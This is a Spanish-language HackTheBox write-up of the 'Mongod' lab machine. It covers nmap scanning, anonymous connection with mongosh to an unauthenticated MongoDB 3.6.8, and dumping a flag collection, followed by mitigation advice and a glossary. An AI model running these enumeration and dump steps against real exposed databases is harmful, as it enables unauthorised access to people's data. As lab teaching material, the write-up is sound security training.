MONGOD

// MongoDB sin control de acceso → conexión anónima con mongosh → db.flag.find()

● MUY FÁCIL HACKTHEBOX LINUX MONGODB 3.6.8 NOSQL ACCESO ANÓNIMO 📅 Octubre 2026 · Por Brandeiks

Reconocimiento

1
CONTEXTO DE LA MÁQUINA

Mongod es una máquina Linux de dificultad Very Easy centrada en MongoDB y en el uso de su shell interactivo mongosh. El fallo es un clásico de bases de datos NoSQL expuestas: el servicio arranca sin control de acceso, de modo que cualquiera que alcance el puerto puede conectarse como usuario anónimo, enumerar todas las bases de datos y leer su contenido sin credenciales.

2
ESCANEO DE PUERTOS CON NMAP

Empezamos identificando los servicios expuestos. El escaneo revela 2 puertos TCP abiertos; el que importa es el 27017, el puerto por defecto de MongoDB.

NMAP
$ nmap -sC -sV -p- -T4 10.129.228.30
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
27017/tcp open mongodb MongoDB 3.6.8

// EL PUERTO 27017

27017 es el puerto por defecto de MongoDB. Que aparezca abierto de cara a la red ya es sospechoso: si además el servicio no exige autenticación, la base de datos queda totalmente expuesta.

Preparar el cliente mongosh

MongoDB es una base de datos NoSQL: en vez de tablas, guarda la información en documentos tipo JSON/BSON. Para hablar con ella de forma interactiva se usa el cliente oficial mongosh. Como la máquina atacante no lo trae, lo descargamos de los servidores oficiales de MongoDB.

3
DESCARGAR EL BINARIO
WGET
$ wget https://downloads.mongodb.com/compass/mongosh-2.0.2-linux-x64.tgz
Connecting to downloads.mongodb.com ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 71429653 (68M) [application/octet-stream]
mongosh-2.0.2-linux 100%[==============>] 68.12M 56.4MB/s in 1.2s
'mongosh-2.0.2-linux-x64.tgz' saved [71429653/71429653]
4
DESCOMPRIMIR
TAR
$ tar -xzf mongosh-2.0.2-linux-x64.tgz

Conexión anónima a MongoDB

5
CONECTAR SIN CREDENCIALES

Con el binario listo, apuntamos al servicio remoto con --host y sin usuario ni contraseña, al puerto por defecto 27017:

MONGOSH
$ ./mongosh-2.0.2-linux-x64/bin/mongosh --host 10.129.228.30
Connecting to: mongodb://10.129.228.30:27017/?directConnection=true
Using MongoDB: 3.6.8
Using Mongosh: 2.0.2
------
   The server generated these startup warnings when booting
   ** WARNING: Access control is not enabled for the database.
   **         Read and write access to data and configuration is unrestricted.
------
test>

// LA VULNERABILIDAD, CONFIRMADA POR EL PROPIO SERVIDOR

El banner de arranque lo dice literalmente: «Access control is not enabled for the database» — lectura y escritura sin restricciones. Ya estamos dentro del shell (test>) sin haber presentado ninguna credencial.

Enumeración y captura de la flag

6
LISTAR LAS BASES DE DATOS

Dentro de mongosh, listamos todas las bases de datos con show dbs. Una destaca por su nombre: sensitive_information.

test> show dbs
admin 32.00 KiB
config 72.00 KiB
local 72.00 KiB
sensitive_information 32.00 KiB
users 32.00 KiB
7
COLECCIONES Y LECTURA DE LA FLAG

Cambiamos a esa base de datos con use, listamos sus colecciones con show collections y volcamos la colección flag con db.flag.find():

test> use sensitive_information
switched to db sensitive_information
 
sensitive_information> show collections
flag
 
sensitive_information> db.flag.find()
[
  {
    _id: ObjectId("630e3dbcb82540ebbd1748c5"),
    flag: '1b6e6fb359e7c40241b6d431427ba6ea'
  }
]

// FLAG

1b6e6fb359e7c40241b6d431427ba6ea — leída directamente de la colección flag en sensitive_information, sin credenciales ni escalada: toda la máquina se resuelve explotando la ausencia de autenticación en MongoDB.

// LECCIÓN Y MITIGACIÓN

Dejar MongoDB sin control de acceso expone toda la base de datos a cualquiera que alcance el 27017. La mitigación es habilitar autenticación (security.authorization: enabled en mongod.conf, o arrancar con --auth), crear usuarios con roles de mínimo privilegio en vez de depender del acceso anónimo, no exponer el 27017 a Internet (firewall/VPC), cifrar el tráfico con TLS y auditar los logs de conexión.


VULNERABILIDAD COMPONENTE IMPACTO
Access control deshabilitado MongoDB 3.6.8 · puerto 27017 Conexión anónima: lectura/escritura sin credenciales
Datos sensibles sin proteger DB sensitive_information · colección flag Exfiltración directa del contenido con db.flag.find()
Servicio expuesto a la red 27017 accesible sin firewall Superficie de ataque alcanzable por cualquier cliente

Referencia de Comandos

nmap
nmap -sC -sV -p- -T4 <ip>
Escaneo de todos los puertos con scripts por defecto y detección de versión. Identifica MongoDB 3.6.8 en el 27017.
  • -sC — scripts NSE por defecto
  • -sV — detección de versión del servicio
  • -p- — los 65 535 puertos TCP
  • -T4 — plantilla de tiempo agresiva (más rápido)
wget · tar
wget <url>.tgz && tar -xzf <archivo>.tgz
Descarga el cliente mongosh de los servidores oficiales de MongoDB y descomprime el paquete .tgz para obtener el binario.
  • -x — extraer
  • -z — descomprimir gzip
  • -f — indica el archivo a procesar
mongosh
mongosh --host <ip>
Shell oficial de MongoDB. Al conectar sin usuario ni contraseña, el servidor sin control de acceso acepta la sesión anónima.
  • --host — IP o nombre del servidor
  • --port — puerto (27017 por defecto)
  • -u / -p — usuario / contraseña (aquí, innecesarios)
Comandos de mongosh
show dbs · use <db> · show collections · db.<col>.find()
Enumeración de la base de datos: listar bases, cambiar de base, listar colecciones y volcar documentos.
  • show dbs — lista las bases de datos
  • use <db> — selecciona una base de datos
  • show collections — lista las colecciones
  • db.<col>.find() — muestra todos los documentos
8
SECUENCIA COMPLETA
RESUMEN
# 1. escanear
$ nmap -sC -sV -p- -T4 10.129.228.30
# 2. descargar y descomprimir mongosh
$ wget https://downloads.mongodb.com/compass/mongosh-2.0.2-linux-x64.tgz
$ tar -xzf mongosh-2.0.2-linux-x64.tgz
# 3. conexión anónima
$ ./mongosh-2.0.2-linux-x64/bin/mongosh --host 10.129.228.30
# 4. en el shell: show dbs -> use sensitive_information -> db.flag.find()

Glosario

MongoDB
Base de datos NoSQL orientada a documentos, muy usada en aplicaciones web. Guarda los datos en colecciones de documentos BSON (JSON binario) en lugar de tablas y filas. Escucha por defecto en el puerto 27017.
NoSQL
Familia de bases de datos «no relacionales» (MongoDB, Redis, Cassandra…) que no usan SQL ni el modelo de tablas. Priorizan la flexibilidad del esquema y la escalabilidad; en MongoDB cada documento puede tener campos distintos dentro de una misma colección.
mongosh
El MongoDB Shell oficial: un cliente interactivo (basado en JavaScript) para conectarse a un servidor MongoDB y ejecutar consultas y comandos administrativos como show dbs, use o db.<col>.find().
Access control / --auth
El control de acceso de MongoDB exige que los clientes se autentiquen. Si no se habilita (opción --auth o security.authorization: enabled), cualquiera que alcance el puerto se conecta como usuario anónimo con permisos totales. Es la causa raíz de esta máquina.
Colección y documento
En MongoDB, una colección es el equivalente a una tabla y un documento a una fila, pero con forma de JSON/BSON. Cada documento lleva un campo _id único (ObjectId). Aquí, la colección flag contenía un único documento con el campo flag.
Puerto 27017
El puerto TCP por defecto del demonio mongod. Verlo abierto de cara a una red no confiable es un indicador directo de MongoDB expuesto; combinado con la falta de autenticación, equivale a dar acceso libre a todos los datos.
Acceso anónimo / autenticación débil
Situación en la que un servicio acepta conexiones sin credenciales (o con unas por defecto). Es una de las configuraciones incorrectas más frecuentes y graves en servicios de datos (MongoDB, Redis, Elasticsearch…) expuestos a Internet.
BSON / ObjectId
BSON es la representación binaria de JSON que usa MongoDB para almacenar documentos. El ObjectId es el identificador único de 12 bytes que MongoDB asigna a cada documento en el campo _id si no se especifica otro.

// RELACIONADOS POR ETIQUETAS